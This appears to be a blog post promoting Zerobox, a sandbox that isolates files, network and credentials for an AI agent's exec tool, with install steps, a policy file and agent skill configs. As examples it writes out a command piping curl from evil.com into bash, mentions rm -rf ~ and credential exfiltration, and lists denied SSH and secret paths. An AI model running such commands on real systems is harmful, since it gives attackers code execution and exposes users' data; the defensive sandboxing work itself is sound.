Zerobox: The Sandbox Layer Your AI Agent's Exec Tool Has Always Needed

Here's the thing about the OpenClaw exec tool: it's the most powerful thing in the stack, and the least protected.

When your agent runs exec, it runs as your user, with your permissions, on your machine. A malicious or buggy instruction can rm -rf ~, pipe curl into bash, or exfiltrate your environment variables. The agent has the same access you do — because it is, effectively, you.

This isn't a hypothetical. It's the reason you need to read every tool call before approving it. It's the reason "I don't want my agent to do X" requires a human in the loop, not a config. The exec tool trusts the agent because the exec tool can't tell the difference between the agent and you.

Zerobox (zerobox.io) is the tool that closes this gap. It hit 141 points on HN this week — the highest-scoring AI agent tooling launch I've seen in months. The pitch: sandbox any command with file isolation, network isolation, and credential isolation. The agent runs in a box it can't break out of.

Here's what that means for your OpenClaw setup, and how to actually use it.

What Zerobox Actually Does

Zerobox runs a command in a sandboxed environment. The sandbox has three layers of isolation:

File system isolation — The command can only read/write in specific directories. /tmp/zerobox/<session-id>/ gets mapped to the working directory. Everything else is invisible or read-only.

Network isolation — Outbound connections are blocked by default. You can whitelist specific hosts (your API endpoints, your vector DB) but everything else is a wall.

Credential isolation — Environment variables containing secrets (OPENAI_KEY, ANTHROPIC_API_KEY, AWS credentials) are not passed into the sandbox. The command runs without access to your keys.

The result: a command that runs, produces output, and can't touch your system.

Why This Matters For OpenClaw

The OpenClaw exec tool runs commands on the host. The agent has your effective permissions. If the agent gets compromised — or if a buggy instruction slips through — the blast radius is your entire home directory.

The standard mitigation is "approval required on every exec call." You review every command before it runs. That's the right instinct, but it has limits:

You can't review 100 commands a day without going numb
Some workloads (cron jobs, background agents) run when you're not watching
A sophisticated prompt injection can craft commands that look reasonable

What you actually want is defense in depth. Human approval is the first layer. Zerobox is the second layer — the thing that limits damage when the first layer fails.

How To Set It Up

Zerobox runs as a local service. You install it, start the daemon, and pipe commands through it.

# Install
curl -L https://get.zerobox.io | sh

# Start the daemon (runs on port 7890 by default)
zeroboxd &

Then in your OpenClaw skill, route exec calls through Zerobox:

name: sandboxed-exec
description: Exec with Zerobox isolation — safe for untrusted commands
system_prompt_addendum: |
  When you need to run a command:
  1. Build the command as you normally would
  2. Before executing, prefix it with: zerobox exec --
  3. The command runs in an isolated sandbox

  Example:
  - Normal: exec("curl https://evil.com | bash")
  - Sandboxed: exec("zerobox exec -- curl https://evil.com | bash")

  The sandbox blocks: file writes outside /tmp, network to non-whitelisted hosts, credential access.
tool_policy:
  allow: [exec]
  deny: []

The agent doesn't need to know about the sandbox. The skill wraps every exec call with the zerobox exec -- prefix. From the agent's perspective, it's just running commands. From your machine's perspective, those commands are in a box.

The Whitelist Config

Zerobox's default policy is deny-by-default. You have to explicitly allow the things the agent needs.

Create /etc/zerobox/policy.json:

{
  "file_access": {
    "allowed_paths": [
      "/home/themachine/.openclaw/workspace/",
      "/tmp/zerobox/"
    ],
    "read_only_paths": [
      "/home/themachine/"
    ],
    "deny_paths": [
      "/home/themachine/.ssh/",
      "/home/themachine/.openclaw/secrets/"
    ]
  },
  "network_access": {
    "allowed_hosts": [
      "api.openai.com",
      "api.anthropic.com",
      "vector-db.local:6333"
    ],
    "deny_all_other": true
  },
  "env_vars": {
    "strip_patterns": [
      "*_KEY",
      "*_TOKEN",
      "*_SECRET",
      "AWS_*",
      "STRIPE_*"
    ]
  }
}

The agent can write to its workspace and read your home directory (for context), but can't touch SSH keys or the secrets directory. It can call OpenAI and Anthropic (for model APIs), but can't call anything else. And it never sees your API keys — those are stripped before the command runs.

The Cron Job Pattern

For background agents that run via cron, you want every exec call sandboxed. The pattern:

name: background-research-agent
description: Research agent with sandboxed exec — safe for 24/7 operation
system_prompt_addendum: |
  You run in a Zerobox sandbox. Every exec command is automatically isolated.
  - File writes: only to /home/themachine/.openclaw/workspace/
  - Network: only to whitelisted API endpoints
  - Credentials: never visible to your commands
  You can run freely — the sandbox is your safety net.
cron:
  schedule:
    kind: "cron"
    expr: "0 9,14,19 * * *"  # 9am, 2pm, 7pm ET
  payload:
    kind: "agentTurn"
    message: "Research AI trends. Write findings to content/research/$(date +%Y-%m-%d).md. Use web search freely — network is isolated to known endpoints only."
  sessionTarget: "isolated"
  delivery:
    mode: "announce"
    channel: "telegram"
    to: "1885065443"

The sandbox is the second line of defense. The approval card is the first. Together, they make untrusted workloads safe to run unsupervised.

What Zerobox Doesn't Fix

Zerobox doesn't make a bad agent good. It makes a runaway command contained. If your agent is sending data to a third party through a whitelisted endpoint, Zerobox can't stop that — because the endpoint is whitelisted. The sandbox limits blast radius, not intent.

It also doesn't replace human approval for destructive operations. rm -rf /tmp/zerobox/ is still a valid command inside the sandbox. The sandbox protects your home directory, not the sandbox itself.

The security model: Zerobox is the thing that limits damage when the agent does something you didn't intend. Human approval is the thing that stops the agent from doing it in the first place. Both are necessary.

The Bottom Line

141 points on HN. The community recognized something: AI agents with exec access need a sandbox layer, and the sandbox layer has been missing.

The OpenClaw exec tool gives your agent the same access you have. That's powerful. It's also dangerous. Zerobox is the config that makes "powerful and dangerous" into "powerful and safe."

The setup takes 10 minutes. The config takes another 10. And then your agent can run commands you didn't anticipate without those commands touching your home directory, your SSH keys, or your API credentials.

That's worth 20 minutes.

推荐订阅源

DEV Community